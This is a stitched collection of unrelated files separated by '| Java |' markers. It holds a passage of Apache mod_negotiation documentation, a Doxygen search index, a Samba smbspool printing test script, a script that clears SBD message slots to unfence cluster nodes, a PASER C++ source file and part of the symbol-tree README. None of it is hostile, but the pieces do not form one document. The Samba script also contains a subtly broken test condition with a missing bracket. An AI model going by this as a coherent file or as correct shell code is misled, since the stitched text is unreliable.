file will be considered part of the resource body until the
delimiter string is found.
<div class="example"><h3>Example:</h3><p><code>
Body:----xyz----<br />
<html><br />
<body><br />
<p>Content of the page.</p><br />
</body><br />
</html><br />
----xyz----
</code></p></div>
</dd>
</dl>
<p>Consider, for example, a resource called
<code>document.html</code> which is available in English, French,
and German. The files for each of these are called
<code>document.html.en</code>, <code>document.html.fr</code>, and
<code>document.html.de</code>, respectively. The type map file will
be called <code>document.html.var</code>, and will contain the
following:</p>
<div class="example"><p><code>
URI: document.html<br />
<br />
Content-language: en<br />
Content-type: text/html<br />
URI: document.html.en<br />
<br />
Content-language: fr<br />
Content-type: text/html<br />
URI: document.html.fr<br />
<br />
Content-language: de<br />
Content-type: text/html<br />
URI: document.html.de<br />
<br />
</code></p></div>
<p>All four of these files should be placed in the same directory,
and the <code>.var</code> file should be associated with the
<code>type-map</code> handler with an <code class="directive"><a href="../mod/mod_mime.html#addhandler">AddHandler</a></code> directive:</p>
<pre class="prettyprint lang-config">
AddHandler type-map .var
</pre>
<p>A request for <code>document.html.var</code> in this directory will
result in choosing the variant which most closely matches the language preference
specified in the user's <code>Accept-Language</code> request
header.</p>
<p>If <code>Multiviews</code> is enabled, and <code class="directive"><a href="../mod/mod_mime.html#multiviewsmatch">MultiviewsMatch</a></code> is set to "handlers" or "any", a request to
<code>document.html</code> will discover <code>document.html.var</code> and
continue negotiating with the explicit type map.</p>
<p>Other configuration directives, such as <code class="directive"><a href="../mod/mod_alias.html#alias">Alias</a></code> can be used to map <code>document.html</code> to
<code>document.html.var</code>.</p>
</div><div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif" /></a></div>
<div class="section">
<h2><a name="multiviews" id="multiviews">Multiviews</a></h2>
<p>A Multiviews search is enabled by the <code>Multiviews</code>
<code class="directive"><a href="../mod/core.html#options">Options</a></code>. If the server receives a
request for <code>/some/dir/foo</code> and
<code>/some/dir/foo</code> does <em>not</em> exist, then the
server reads the directory looking for all files named
<code>foo.*</code>, and effectively fakes up a type map which
names all those files, assigning them the same media types and
content-encodings it would have if the client had asked for one
of them by name. It then chooses the best match to the client's
requirements, and returns that document.</p>
<p>The <code class="directive"><a href="../mod/mod_mime.html#multiviewsmatch">MultiviewsMatch</a></code>
directive configures whether Apache will consider files
that do not have content negotiation meta-information assigned
to them when choosing files.</p>
</div>
<div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="CacheNegotiatedDocs" id="CacheNegotiatedDocs">CacheNegotiatedDocs</a> <a name="cachenegotiateddocs" id="cachenegotiateddocs">Directive</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">Description:</a></th><td>Allows content-negotiated documents to be
cached by proxy servers</td></tr>
<tr><th><a href="directive-dict.html#Syntax">Syntax:</a></th><td><code>CacheNegotiatedDocs On|Off</code></td></tr>
<tr><th><a href="directive-dict.html#Default">Default:</a></th><td><code>CacheNegotiatedDocs Off</code></td></tr>
<tr><th><a href="directive-dict.html#Context">Context:</a></th><td>server config, virtual host</td></tr>
<tr><th><a href="directive-dict.html#Status">Status:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">Module:</a></th><td>mod_negotiation</td></tr>
</table>
<p>If set, this directive allows content-negotiated documents
to be cached by proxy servers. This could mean that clients
behind those proxys could retrieve versions of the documents
that are not the best match for their abilities, but it will
make caching more efficient.</p>
<p>This directive only applies to requests which come from
HTTP/1.0 browsers. HTTP/1.1 provides much better control over
the caching of negotiated documents, and this directive has no
effect in responses to HTTP/1.1 requests.</p>
</div>
<div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="ForceLanguagePriority" id="ForceLanguagePriority">ForceLanguagePriority</a> <a name="forcelanguagepriority" id="forcelanguagepriority">Directive</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">Description:</a></th><td>Action to take if a single acceptable document is not
found</td></tr>
<tr><th><a href="directive-dict.html#Syntax">Syntax:</a></th><td><code>ForceLanguagePriority None|Prefer|Fallback [Prefer|Fallback]</code></td></tr>
<tr><th><a href="directive-dict.html#Default">Default:</a></th><td><code>ForceLanguagePriority Prefer</code></td></tr>
<tr><th><a href="directive-dict.html#Context">Context:</a></th><td>server config, virtual host, directory, .htaccess</td></tr>
<tr><th><a href="directive-dict.html#Override">Override:</a></th><td>FileInfo</td></tr>
<tr><th><a href="directive-dict.html#Status">Status:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">Module:</a></th><td>mod_negotiation</td></tr>
</table>
<p>The <code class="directive">ForceLanguagePriority</code> directive uses
the given <code class="directive"><a href="#languagepriority">LanguagePriority</a></code> to satisfy
negotiation where the server could otherwise not return a single
matching document.</p>
<p><code>ForceLanguagePriority Prefer</code> uses
<code>LanguagePriority</code> to serve a one valid result, rather
than returning an HTTP result 300 (MULTIPLE CHOICES) when there
are several equally valid choices. If the directives below were
given, and the user's <code>Accept-Language</code> header assigned
<code>en</code> and <code>de</code> each as quality <code>.500</code>
(equally acceptable) then the first matching variant, <code>en</code>,
will be served.</p>
<pre class="prettyprint lang-config">
LanguagePriority en fr de
ForceLanguagePriority Prefer
</pre>
<p><code>ForceLanguagePriority Fallback</code> uses
<code class="directive"><a href="#languagepriority">LanguagePriority</a></code> to
serve a valid result, rather than returning an HTTP result 406
(NOT ACCEPTABLE). If the directives below were given, and the user's
<code>Accept-Language</code> only permitted an <code>es</code>
language response, but such a variant isn't found, then the first
variant from the <code class="directive"><a href="#languagepriority">LanguagePriority</a></code> list below will be served.</p>
<pre class="prettyprint lang-config">
LanguagePriority en fr de
ForceLanguagePriority Fallback
</pre>
<p>Both options, <code>Prefer</code> and <code>Fallback</code>, may be
specified, so either the first matching variant from <code class="directive"><a href="#languagepriority">LanguagePriority</a></code> will be served if
more than one variant is acceptable, or first available document will
be served if none of the variants matched the client's acceptable list
of languages.</p>
<h3>See also</h3>
<ul>
<li><code class="directive"><a href="../mod/mod_mime.html#addlanguage">AddLanguage</a></code></li>
</ul>
</div>
<div class="top"><a href="#page-header"><img alt="top" src="../../images/up.gif" /></a></div>
<div class="directive-section"><h2><a name="LanguagePriority" id="LanguagePriority">LanguagePriority</a> <a name="languagepriority" id="languagepriority">Directive</a></h2>
<table class="directive">
<tr><th><a href="directive-dict.html#Description">Description:</a></th><td>The precendence of language variants for cases where
the client does not express a preference</td></tr>
<tr><th><a href="directive-dict.html#Syntax">Syntax:</a></th><td><code>LanguagePriority <var>MIME-lang</var> [<var>MIME-lang</var>]
...</code></td></tr>
<tr><th><a href="directive-dict.html#Context">Context:</a></th><td>server config, virtual host, directory, .htaccess</td></tr>
<tr><th><a href="directive-dict.html#Override">Override:</a></th><td>FileInfo</td></tr>
<tr><th><a href="directive-dict.html#Status">Status:</a></th><td>Base</td></tr>
<tr><th><a href="directive-dict.html#Module">Module:</a></th><td>mod_negotiation</td></tr>
</table>
<p>The <code class="directive">LanguagePriority</code> sets the precedence
of language variants for the case where the client does not
express a preference, when handling a Multiviews request. The list
of <var>MIME-lang</var> are in order of decreasing preference.</p>
<pre class="prettyprint lang-config">
LanguagePriority en fr de
</pre>
<p>For a request for <code>foo.html</code>, where
<code>foo.html.fr</code> and <code>foo.html.de</code> both
existed, but the browser did not express a language preference,
then <code>foo.html.fr</code> would be returned.</p>
<p>Note that this directive only has an effect if a 'best'
language cannot be determined by any other means or the <code class="directive"><a href="#forcelanguagepriority">ForceLanguagePriority</a></code> directive
is not <code>None</code>. In general, the client determines the
language preference, not the server.</p>
<h3>See also</h3>
<ul>
<li><code class="directive"><a href="../mod/mod_mime.html#addlanguage">AddLanguage</a></code></li>
</ul>
</div>
</div>
<div class="bottomlang">
<p><span>Available Languages: </span><a href="../../en/mod/mod_negotiation.html" title="English"> en </a> |
<a href="../../fr/mod/mod_negotiation.html" hreflang="fr" rel="alternate" title="Français"> fr </a> |
<a href="../../ja/mod/mod_negotiation.html" hreflang="ja" rel="alternate" title="Japanese"> ja </a></p>
</div><div class="top"><a href="#page-header"><img src="../../images/up.gif" alt="top" /></a></div><div class="section"><h2><a id="comments_section" name="comments_section">Comments</a></h2><div class="warning"><strong>Notice:</strong><br />This is not a Q&A section. Comments placed here should be pointed towards suggestions on improving the documentation or server, and may be removed again by our moderators if they are either implemented or considered invalid/off-topic. Questions on how to manage the Apache HTTP Server should be directed at either our IRC channel, #httpd, on Freenode, or sent to our <a href="http://httpd.apache.org/lists.html">mailing lists</a>.</div>
<script type="text/javascript"><!--//--><![CDATA[//><!--
var comments_shortname = 'httpd';
var comments_identifier = 'http://httpd.apache.org/docs/2.4/mod/mod_negotiation.html';
(function(w, d) {
if (w.location.hostname.toLowerCase() == "httpd.apache.org") {
d.write('<div id="comments_thread"><\/div>');
var s = d.createElement('script');
s.type = 'text/javascript';
s.async = true;
s.src = 'https://comments.apache.org/show_comments.lua?site=' + comments_shortname + '&page=' + comments_identifier;
(d.getElementsByTagName('head')[0] || d.getElementsByTagName('body')[0]).appendChild(s);
}
else {
d.write('<div id="comments_thread">Comments are disabled for this page at the moment.<\/div>');
}
})(window, document);
//--><!]]></script></div><div id="footer">
<p class="apache">Copyright 2013 The Apache Software Foundation.<br />Licensed under the <a href="http://www.apache.org/licenses/LICENSE-2.0">Apache License, Version 2.0</a>.</p>
<p class="menu"><a href="../mod/index.html">Modules</a> | <a href="../mod/directives.html">Directives</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="../glossary.html">Glossary</a> | <a href="../sitemap.html">Sitemap</a></p></div><script type="text/javascript"><!--//--><![CDATA[//><!--
if (typeof(prettyPrint) !== 'undefined') {
prettyPrint();
}
//--><!]]></script>
</body></html> | Java |
var searchData=
[
['gestionnaire_2ehpp',['Gestionnaire.hpp',['../Gestionnaire_8hpp.html',1,'']]],
['gestionnairemutex',['GestionnaireMutex',['../classGestionnaireMutex.html',1,'GestionnaireMutex'],['../classGestionnaireMutex.html#a16e149bb5c836f1ea2e7d6758422aca9',1,'GestionnaireMutex::GestionnaireMutex()']]],
['gestionnairemutex_2ecpp',['GestionnaireMutex.cpp',['../GestionnaireMutex_8cpp.html',1,'']]],
['gestionnairemutex_2ehpp',['GestionnaireMutex.hpp',['../GestionnaireMutex_8hpp.html',1,'']]],
['gestionnairepartie',['GestionnairePartie',['../classGestionnairePartie.html',1,'GestionnairePartie'],['../classGestionnairePartie.html#a83bcbead120fcdae027d9a3a6a7af83c',1,'GestionnairePartie::GestionnairePartie()']]],
['gestionnairepartie_2ecpp',['GestionnairePartie.cpp',['../GestionnairePartie_8cpp.html',1,'']]],
['gestionnairepartie_2ehpp',['GestionnairePartie.hpp',['../GestionnairePartie_8hpp.html',1,'']]],
['gestionnairerequete_2ecpp',['GestionnaireRequete.cpp',['../GestionnaireRequete_8cpp.html',1,'']]],
['gestionnairerequete_2ehpp',['GestionnaireRequete.hpp',['../GestionnaireRequete_8hpp.html',1,'']]],
['gestionnairesalon',['GestionnaireSalon',['../classGestionnaireSalon.html',1,'GestionnaireSalon'],['../classGestionnaireSalon.html#ae606439b050c0065db4a833a15d52f8b',1,'GestionnaireSalon::GestionnaireSalon()']]],
['gestionnairesalon_2ecpp',['GestionnaireSalon.cpp',['../GestionnaireSalon_8cpp.html',1,'']]],
['gestionnairesalon_2ehpp',['GestionnaireSalon.hpp',['../GestionnaireSalon_8hpp.html',1,'']]],
['gestionnairesocket',['GestionnaireSocket',['../classGestionnaireSocket.html',1,'GestionnaireSocket'],['../classGestionnaireSocket.html#aea6b223b8d0af0ec2688940a887fe17b',1,'GestionnaireSocket::GestionnaireSocket()']]],
['gestionnairesocket_2ecpp',['GestionnaireSocket.cpp',['../GestionnaireSocket_8cpp.html',1,'']]],
['gestionnairesocket_2ehpp',['GestionnaireSocket.hpp',['../GestionnaireSocket_8hpp.html',1,'']]],
['getdata',['getData',['../classDataPartieEnTete.html#aae81e6ebc709a0d6462c9a49afac6e6f',1,'DataPartieEnTete']]],
['gethote',['getHote',['../classSalon.html#a488ec3d4aea47aae26f7e33040d6db46',1,'Salon']]],
['getintervalletemporisation',['getIntervalleTemporisation',['../classMachineEtat.html#a05ba8f109b96a4c3eee40cc82da296e3',1,'MachineEtat']]],
['getlisteetat',['getListeEtat',['../classMachineEtat.html#abac1333e441143ac59f360ed3d950374',1,'MachineEtat']]],
['getmutex',['getMutex',['../classGestionnaireMutex.html#a4cd9287c0fc861296ead18746dbed30b',1,'GestionnaireMutex']]],
['getniveaumemoiretampon',['getNiveauMemoireTampon',['../classMachineEtat.html#a557ea7c575b72b0f2558c6ab9a1f121f',1,'MachineEtat']]],
['getnomjoueur',['getNomJoueur',['../classJoueur.html#a76413c6f6291c98784e3cb864db1311b',1,'Joueur']]],
['getnumeroclient',['getNumeroClient',['../classSocketTcp.html#a330cde24a46b5b945300402cd8f2495f',1,'SocketTcp']]],
['getnumerojoueur',['getNumeroJoueur',['../classJoueur.html#a28138f8a7705e6deea7802118072d1fe',1,'Joueur']]],
['getnumerosalon',['getNumeroSalon',['../classSalon.html#ab52889c156173dacca77b4a0188f742f',1,'Salon']]],
['getparam',['getParam',['../classConfiguration.html#a3d4b63d76baaad5a598402d9d0b2295e',1,'Configuration']]],
['getsocket',['getSocket',['../classGestionnaireSocket.html#ae54adc24a32a0e5db1bafff3564ebf8d',1,'GestionnaireSocket']]],
['getsockettcp',['getSocketTcp',['../classJoueur.html#a5971cb1e7bf96db7144e92e0d95de5bb',1,'Joueur']]],
['gettaillelistesocket',['getTailleListeSocket',['../classGestionnaireSocket.html#a95ee63ccc58d90538664af94559f66b7',1,'GestionnaireSocket']]],
['getvaleurlisteetat',['getValeurListeEtat',['../classMachineEtat.html#a63e8ed788501c5a22db4db813bd15d5e',1,'MachineEtat']]]
];
| Java |
#!/bin/sh
if [ $# -lt 4 ]; then
cat <<EOF
Usage: test_smbclient_basic.sh SERVER SERVER_IP DOMAIN USERNAME PASSWORD
EOF
exit 1;
fi
SERVER="$1"
SERVER_IP="$2"
USERNAME="$3"
PASSWORD="$4"
TARGET_ENV="$5"
shift 5
ADDARGS="$@"
incdir=`dirname $0`/../../../testprogs/blackbox
. $incdir/subunit.sh
. $incdir/common_test_fns.inc
samba_bindir="$BINDIR"
samba_vlp="$samba_bindir/vlp"
samba_smbspool="$samba_bindir/smbspool"
samba_argv_wrapper="$samba_bindir/smbspool_argv_wrapper"
samba_smbtorture3="$samba_bindir/smbtorture3"
samba_smbspool_krb5="$samba_bindir/smbspool_krb5_wrapper"
test_smbspool_noargs()
{
cmd='$1 2>&1'
eval echo "$cmd"
out=$(eval $cmd)
ret=$?
if [ $ret != 0 ]; then
echo "$out"
echo "failed to execute $1"
fi
echo "$out" | grep 'network smb "Unknown" "Windows Printer via SAMBA"'
ret=$?
if [ $ret != 0 ] ; then
echo "$out"
return 1
fi
}
test_smbspool_authinforequired_none()
{
cmd='$samba_smbspool_krb5 smb://$SERVER_IP/print4 200 $USERNAME "Testprint" 1 "options" $SRCDIR/testdata/printing/example.ps 2>&1'
AUTH_INFO_REQUIRED="none"
export AUTH_INFO_REQUIRED
eval echo "$cmd"
out=$(eval $cmd)
ret=$?
unset AUTH_INFO_REQUIRED
if [ $ret != 0 ]; then
echo "$out"
echo "failed to execute $smbspool_krb5"
return 1
fi
return 0
}
test_smbspool_authinforequired_unknown()
{
cmd='$samba_smbspool_krb5 smb://$SERVER_IP/print4 200 $USERNAME "Testprint" 1 "options" $SRCDIR/testdata/printing/example.ps 2>&1'
# smbspool_krb5_wrapper must ignore AUTH_INFO_REQUIRED unknown to him and pass the task to smbspool
# smbspool must fail with NT_STATUS_ACCESS_DENIED (22)
# "jjf4wgmsbc0" is just a random string
AUTH_INFO_REQUIRED="jjf4wgmsbc0"
export AUTH_INFO_REQUIRED
eval echo "$cmd"
out=$(eval $cmd)
ret=$?
unset AUTH_INFO_REQUIRED
case "$ret" in
2 ) return 0 ;;
* )
echo "ret=$ret"
echo "$out"
echo "failed to test $smbspool_krb5 against unknown value of AUTH_INFO_REQUIRED"
return 1
;;
esac
}
#
# The test enviornment uses 'vlp' (virtual lp) as the printing backend.
#
# When using the vlp backend the print job is only written to the database.
# The job needs to removed manually using 'vlp lprm' command!
#
# This calls the 'vlp' command to check if the print job has been successfully
# added to the database and also makes sure the temorary print file has been
# created.
#
# The function removes the print job from the vlp database if successful.
#
test_vlp_verify()
{
tdbfile="$PREFIX_ABS/$TARGET_ENV/lockdir/vlp.tdb"
if [ ! -w $tdbfile ]; then
echo "vlp tdbfile $tdbfile doesn't exist or is not writeable!"
return 1
fi
cmd='$samba_vlp tdbfile=$tdbfile lpq print1 2>&1'
eval echo "$cmd"
out=$(eval $cmd)
ret=$?
if [ $ret != 0 ]; then
echo "failed to get print queue with $samba_vlp"
echo "$out"
fi
jobid=$(echo "$out" | awk '/[0-9]+/ { print $1 };')
if [ -z "$jobid" ] || [ $jobid -lt 100 || [ $jobid -gt 2000 ]; then
echo "Invalid jobid: $jobid"
echo "$out"
return 1
fi
file=$(echo "$out" | awk '/[0-9]+/ { print $6 };')
if [ ! -r $PREFIX_ABS/$TARGET_ENV/share/$file ]; then
echo "$file doesn't exist"
echo "$out"
return 1
fi
$samba_vlp "tdbfile=$tdbfile" lprm print1 $jobid
ret=$?
if [ $ret != 0 ] ; then
echo "Failed to remove jobid $jobid from $tdbfile"
return 1
fi
}
test_delete_on_close()
{
tdbfile="$PREFIX_ABS/$TARGET_ENV/lockdir/vlp.tdb"
if [ ! -w $tdbfile ]; then
echo "vlp tdbfile $tdbfile doesn't exist or is not writeable!"
return 1
fi
cmd='$samba_vlp tdbfile=$tdbfile lpq print1 2>&1'
eval echo "$cmd"
out=$(eval $cmd)
ret=$?
if [ $ret != 0 ]; then
echo "failed to lpq jobs on print1 with $samba_vlp"
echo "$out"
return 1
fi
num_jobs=$(echo "$out" | wc -l)
#
# Now run the test DELETE-PRINT from smbtorture3
#
cmd='$samba_smbtorture3 //$SERVER_IP/print1 -U$USERNAME%$PASSWORD DELETE-PRINT 2>&1'
eval echo "$cmd"
out_t=$(eval $cmd)
ret=$?
if [ $ret != 0 ]; then
echo "failed to run DELETE-PRINT on print1"
echo "$out_t"
return 1
fi
cmd='$samba_vlp tdbfile=$tdbfile lpq print1 2>&1'
eval echo "$cmd"
out1=$(eval $cmd)
ret=$?
if [ $ret != 0 ]; then
echo "(2) failed to lpq jobs on print1 with $samba_vlp"
echo "$out1"
return 1
fi
num_jobs1=$(echo "$out1" | wc -l)
#
# Number of jobs should not change. Job
# should not have made it to backend.
#
if [ "$num_jobs1" -ne "$num_jobs" ]; then
echo "delete-on-close fail $num_jobs1 -ne $num_jobs"
echo "$out"
echo "$out_t"
echo "$out1"
return 1
fi
return 0
}
testit "smbspool no args" \
test_smbspool_noargs $samba_smbspool || \
failed=$(expr $failed + 1)
testit "smbspool_krb5_wrapper no args" \
test_smbspool_noargs $samba_smbspool_krb5 || \
failed=$(expr $failed + 1)
testit "smbspool_krb5_wrapper AuthInfoRequired=none" \
test_smbspool_authinforequired_none || \
failed=$(expr $failed + 1)
testit "smbspool_krb5_wrapper AuthInfoRequired=(sth unknown)" \
test_smbspool_authinforequired_unknown || \
failed=$(expr $failed + 1)
testit "smbspool print example.ps" \
$samba_smbspool smb://$USERNAME:$PASSWORD@$SERVER_IP/print1 200 $USERNAME "Testprint" 1 "options" $SRCDIR/testdata/printing/example.ps || \
failed=$(expr $failed + 1)
testit "vlp verify example.ps" \
test_vlp_verify \
|| failed=$(expr $failed + 1)
testit "smbspool print example.ps via stdin" \
$samba_smbspool smb://$USERNAME:$PASSWORD@$SERVER_IP/print1 200 $USERNAME "Testprint" 1 "options" < $SRCDIR/testdata/printing/example.ps || \
failed=$(expr $failed + 1)
testit "vlp verify example.ps" \
test_vlp_verify \
|| failed=$(expr $failed + 1)
DEVICE_URI="smb://$USERNAME:$PASSWORD@$SERVER_IP/print1"
export DEVICE_URI
testit "smbspool print DEVICE_URI example.ps" \
$samba_smbspool 200 $USERNAME "Testprint" 1 "options" $SRCDIR/testdata/printing/example.ps || \
failed=$(expr $failed + 1)
unset DEVICE_URI
testit "vlp verify example.ps" \
test_vlp_verify \
|| failed=$(expr $failed + 1)
DEVICE_URI="smb://$USERNAME:$PASSWORD@$SERVER_IP/print1"
export DEVICE_URI
testit "smbspool print DEVICE_URI example.ps via stdin" \
$samba_smbspool 200 $USERNAME "Testprint" 1 "options" < $SRCDIR/testdata/printing/example.ps || \
failed=$(expr $failed + 1)
unset DEVICE_URI
testit "vlp verify example.ps" \
test_vlp_verify \
|| failed=$(expr $failed + 1)
DEVICE_URI="smb://$USERNAME:$PASSWORD@$SERVER_IP/print1"
export DEVICE_URI
testit "smbspool print sanitized Device URI in argv0 example.ps" \
$smbspool_argv_wrapper $samba_smbspool smb://$SERVER_IP/print1 200 $USERNAME "Testprint" 1 "options" $SRCDIR/testdata/printing/example.ps || \
failed=$(expr $failed + 1)
unset DEVICE_URI
testit "vlp verify example.ps" \
test_vlp_verify \
|| failed=$(expr $failed + 1)
DEVICE_URI="smb://$USERNAME:$PASSWORD@$SERVER_IP/print1"
export DEVICE_URI
testit "smbspool print sanitized Device URI in argv0 example.ps via stdin" \
$smbspool_argv_wrapper $samba_smbspool smb://$SERVER_IP/print1 200 $USERNAME "Testprint" 1 "options" < $SRCDIR/testdata/printing/example.ps || \
failed=$(expr $failed + 1)
unset DEVICE_URI
testit "vlp verify example.ps" \
test_vlp_verify \
|| failed=$(expr $failed + 1)
AUTH_INFO_REQUIRED="username,password"
export AUTH_INFO_REQUIRED
testit "smbspool_krb5(username,password) print example.ps" \
$samba_smbspool_krb5 smb://$USERNAME:$PASSWORD@$SERVER_IP/print1 200 $USERNAME "Testprint" 1 "options" $SRCDIR/testdata/printing/example.ps || \
failed=$(expr $failed + 1)
testit "vlp verify example.ps" \
test_vlp_verify || \
failed=$(expr $failed + 1)
unset AUTH_INFO_REQUIRED
testit "delete on close" \
test_delete_on_close \
|| failed=$(expr $failed + 1)
exit $failed
| Java |
#! /bin/sh
# A simple utility script which reads the SBD configuration file and loops
# through all SBD block devices, clearing message slots for all nodes. This
# effectively unfences any nodes.
SBD_CONFIG="/etc/sysconfig/sbd"
# Read the SBD config file and loop over all devices
while read -r device; do
while read -r sbd_list; do
node="$(echo ${sbd_list} | awk '{print $2}')"
echo "Clearing message slots for node '${node}'" \
"on device '${device}'..."
sbd -d ${device} message ${node} clear
done <<< "$(sbd -d ${device} list)"
done <<< "$(cat ${SBD_CONFIG} | grep SBD_DEVICE | cut -d= -f2 | \
tr -d '"' | tr ';' '\n')"
| Java |
/*
*\class PASER_Neighbor_Table
*@brief Class represents an entry in the neighbor table
*
*\authors Eugen.Paul | Mohamad.Sbeiti \@paser.info
*
*\copyright (C) 2012 Communication Networks Institute (CNI - Prof. Dr.-Ing. Christian Wietfeld)
* at Technische Universitaet Dortmund, Germany
* http://www.kn.e-technik.tu-dortmund.de/
*
*
* This program is free software; you can redistribute it
* and/or modify it under the terms of the GNU General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later
* version.
* For further information see file COPYING
* in the top level directory
********************************************************************************
* This work is part of the secure wireless mesh networks framework, which is currently under development by CNI
********************************************************************************/
#include "Configuration.h"
#ifdef OPENSSL_IS_LINKED
#include <openssl/x509.h>
#include "PASER_Neighbor_Entry.h"
PASER_Neighbor_Entry::~PASER_Neighbor_Entry() {
if (root) {
free(root);
}
root = NULL;
if (Cert) {
X509_free((X509*) Cert);
}
Cert = NULL;
}
void PASER_Neighbor_Entry::setValidTimer(PASER_Timer_Message *_validTimer) {
validTimer = _validTimer;
}
#endif
| Java |
<!-- START doctoc generated TOC please keep comment here to allow auto update -->
<!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->
**Table of contents**
- [symbol-tree](#symbol-tree)
- [Example](#example)
- [Testing](#testing)
- [API Documentation](#api-documentation)
- [symbol-tree](#symbol-tree-1)
- [SymbolTree ⏏](#symboltree-%E2%8F%8F)
- [new SymbolTree([description])](#new-symboltreedescription)
- [symbolTree.initialize(object) ⇒ <code>Object</code>](#symboltreeinitializeobject-%E2%87%92-codeobjectcode)
- [symbolTree.hasChildren(object) ⇒ <code>Boolean</code>](#symboltreehaschildrenobject-%E2%87%92-codebooleancode)
- [symbolTree.firstChild(object) ⇒ <code>Object</code>](#symboltreefirstchildobject-%E2%87%92-codeobjectcode)
- [symbolTree.lastChild(object) ⇒ <code>Object</code>](#symboltreelastchildobject-%E2%87%92-codeobjectcode)
- [symbolTree.previousSibling(object) ⇒ <code>Object</code>](#symboltreeprevioussiblingobject-%E2%87%92-codeobjectcode)
- [symbolTree.nextSibling(object) ⇒ <code>Object</code>](#symboltreenextsiblingobject-%E2%87%92-codeobjectcode)
- [symbolTree.parent(object) ⇒ <code>Object</code>](#symboltreeparentobject-%E2%87%92-codeobjectcode)
- [symbolTree.lastInclusiveDescendant(object) ⇒ <code>Object</code>](#symboltreelastinclusivedescendantobject-%E2%87%92-codeobjectcode)
- [symbolTree.preceding(object, [options]) ⇒ <code>Object</code>](#symboltreeprecedingobject-options-%E2%87%92-codeobjectcode)
- [symbolTree.following(object, [options]) ⇒ <code>Object</code>](#symboltreefollowingobject-options-%E2%87%92-codeobjectcode)
- [symbolTree.childrenToArray(parent, [options]) ⇒ <code>Array.<Object></code>](#symboltreechildrentoarrayparent-options-%E2%87%92-codearrayltobjectgtcode)
- [symbolTree.ancestorsToArray(object, [options]) ⇒ <code>Array.<Object></code>](#symboltreeancestorstoarrayobject-options-%E2%87%92-codearrayltobjectgtcode)
- [symbolTree.treeToArray(root, [options]) ⇒ <code>Array.<Object></code>](#symboltreetreetoarrayroot-options-%E2%87%92-codearrayltobjectgtcode)
- [symbolTree.childrenIterator(parent, [options]) ⇒ <code>Object</code>](#symboltreechildreniteratorparent-options-%E2%87%92-codeobjectcode)
- [symbolTree.previousSiblingsIterator(object) ⇒ <code>Object</code>](#symboltreeprevioussiblingsiteratorobject-%E2%87%92-codeobjectcode)
- [symbolTree.nextSiblingsIterator(object) ⇒ <code>Object</code>](#symboltreenextsiblingsiteratorobject-%E2%87%92-codeobjectcode)
- [symbolTree.ancestorsIterator(object) ⇒ <code>Object</code>](#symboltreeancestorsiteratorobject-%E2%87%92-codeobjectcode)
- [symbolTree.treeIterator(root, options) ⇒ <code>Object</code>](#symboltreetreeiteratorroot-options-%E2%87%92-codeobjectcode)
- [symbolTree.index(child) ⇒ <code>Number</code>](#symboltreeindexchild-%E2%87%92-codenumbercode)
- [symbolTree.childrenCount(parent) ⇒ <code>Number</code>](#symboltreechildrencountparent-%E2%87%92-codenumbercode)
- [symbolTree.compareTreePosition(left, right) ⇒ <code>Number</code>](#symboltreecomparetreepositionleft-right-%E2%87%92-codenumbercode)
- [symbolTree.remove(removeObject) ⇒ <code>Object</code>](#symboltreeremoveremoveobject-%E2%87%92-codeobjectcode)
- [symbolTree.insertBefore(referenceObject, newObject) ⇒ <code>Object</code>](#symboltreeinsertbeforereferenceobject-newobject-%E2%87%92-codeobjectcode)
- [symbolTree.insertAfter(referenceObject, newObject) ⇒ <code>Object</code>](#symboltreeinsertafterreferenceobject-newobject-%E2%87%92-codeobjectcode)
- [symbolTree.prependChild(referenceObject, newObject) ⇒ <code>Object</code>](#symboltreeprependchildreferenceobject-newobject-%E2%87%92-codeobjectcode)
- [symbolTree.appendChild(referenceObject, newObject) ⇒ <code>Object</code>](#symboltreeappendchildreferenceobject-newobject-%E2%87%92-codeobjectcode)
<!-- END doctoc generated TOC please keep comment here to allow auto update -->
symbol-tree
===========
[](https://travis-ci.org/jsdom/js-symbol-tree) [](https://coveralls.io/github/jsdom/js-symbol-tree?branch=master)
Turn any collection of objects into its own efficient tree or linked list using `Symbol`.
This library has been designed to provide an efficient backing data structure for DOM trees. You can also use this library as an efficient linked list. Any meta data is stored on your objects directly, which ensures any kind of insertion or deletion is performed in constant time. Because an ES6 `Symbol` is used, the meta data does not interfere with your object in any way.
Node.js 4+, io.js and modern browsers are supported.
Example
-------
A linked list:
```javascript
const SymbolTree = require('symbol-tree');
const tree = new SymbolTree();
let a = {foo: 'bar'}; // or `new Whatever()`
let b = {foo: 'baz'};
let c = {foo: 'qux'};
tree.insertBefore(b, a); // insert a before b
tree.insertAfter(b, c); // insert c after b
console.log(tree.nextSibling(a) === b);
console.log(tree.nextSibling(b) === c);
console.log(tree.previousSibling(c) === b);
tree.remove(b);
console.log(tree.nextSibling(a) === c);
```
A tree:
```javascript
const SymbolTree = require('symbol-tree');
const tree = new SymbolTree();
let parent = {};
let a = {};
let b = {};
let c = {};
tree.prependChild(parent, a); // insert a as the first child
tree.appendChild(parent,c ); // insert c as the last child
tree.insertAfter(a, b); // insert b after a, it now has the same parent as a
console.log(tree.firstChild(parent) === a);
console.log(tree.nextSibling(tree.firstChild(parent)) === b);
console.log(tree.lastChild(parent) === c);
let grandparent = {};
tree.prependChild(grandparent, parent);
console.log(tree.firstChild(tree.firstChild(grandparent)) === a);
```
Testing
-------
Make sure you install the dependencies first:
npm install
You can now run the unit tests by executing:
npm test
The line and branch coverage should be 100%.
API Documentation
-----------------
<a name="module_symbol-tree"></a>
## symbol-tree
**Author:** Joris van der Wel <[email protected]>
* [symbol-tree](#module_symbol-tree)
* [SymbolTree](#exp_module_symbol-tree--SymbolTree) ⏏
* [new SymbolTree([description])](#new_module_symbol-tree--SymbolTree_new)
* [.initialize(object)](#module_symbol-tree--SymbolTree+initialize) ⇒ <code>Object</code>
* [.hasChildren(object)](#module_symbol-tree--SymbolTree+hasChildren) ⇒ <code>Boolean</code>
